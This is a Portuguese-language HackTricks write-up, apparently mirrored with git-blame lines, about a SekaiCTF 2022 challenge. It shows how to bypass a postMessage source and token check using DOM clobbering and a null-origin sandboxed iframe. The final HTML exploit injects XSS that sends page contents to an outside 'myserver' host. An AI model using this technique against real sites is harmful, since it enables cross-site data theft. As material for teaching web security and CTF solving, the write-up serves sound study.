Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-19 01:24:50 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

96 lines
6.1 KiB
Markdown
Raw Normal View History

Recreating repository history for branch pt
2024-12-12 12:56:11 +00:00
# Bypassing SOP with Iframes - 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes in SOP-2
Na [**solução**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafio**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propõe um método semelhante à seção anterior. Vamos verificar.
Neste desafio, o atacante precisa **bypass** isso:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Se ele fizer isso, ele pode enviar um **postmessage** com conteúdo HTML que será escrito na página com **`innerHTML`** sem sanitização (**XSS**).
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md
2024-12-14 14:29:06 +00:00
A maneira de contornar a **primeira verificação** é tornando **`window.calc.contentWindow`** **`undefined`** e **`e.source`** **`null`**:
Recreating repository history for branch pt
2024-12-12 12:56:11 +00:00
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md
2024-12-14 14:29:06 +00:00
* **`window.calc.contentWindow`** é na verdade **`document.getElementById("calc")`**. Você pode sobrescrever **`document.getElementById`** com **`<img name=getElementById />`** (note que a Sanitizer API -[aqui](https://wicg.github.io/sanitizer-api/#dom-clobbering)- não está configurada para proteger contra ataques de DOM clobbering em seu estado padrão).
Recreating repository history for branch pt
2024-12-12 12:56:11 +00:00
* Portanto, você pode sobrescrever **`document.getElementById("calc")`** com **`<img name=getElementById /><div id=calc></div>`**. Então, **`window.calc`** será **`undefined`**.
* Agora, precisamos que **`e.source`** seja **`undefined`** ou **`null`** (porque `==` é usado em vez de `===`, **`null == undefined`** é **`True`**). Conseguir isso é "fácil". Se você criar um **iframe** e **enviar** um **postMessage** dele e imediatamente **remover** o iframe, **`e.origin`** será **`null`**. Verifique o seguinte código
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
Para contornar a **segunda verificação** sobre o token, enviamos **`token`** com o valor `null` e fazemos o valor de **`window.token`** ser **`undefined`**:
* Enviar `token` no postMessage com o valor `null` é trivial.
* **`window.token`** ao chamar a função **`getCookie`** que usa **`document.cookie`**. Note que qualquer acesso a **`document.cookie`** em páginas de origem **`null`** aciona um **erro**. Isso fará com que **`window.token`** tenha o valor **`undefined`**.
A solução final de [**@terjanq**](https://twitter.com/terjanq) é a [**seguinte**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md
2024-12-14 14:29:06 +00:00
<summary>Supporte o HackTricks</summary>
Recreating repository history for branch pt
2024-12-12 12:56:11 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md
2024-12-14 14:29:06 +00:00
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
Recreating repository history for branch pt
2024-12-12 12:56:11 +00:00
</details>
{% endhint %}
Reference in a new issue Copy permalink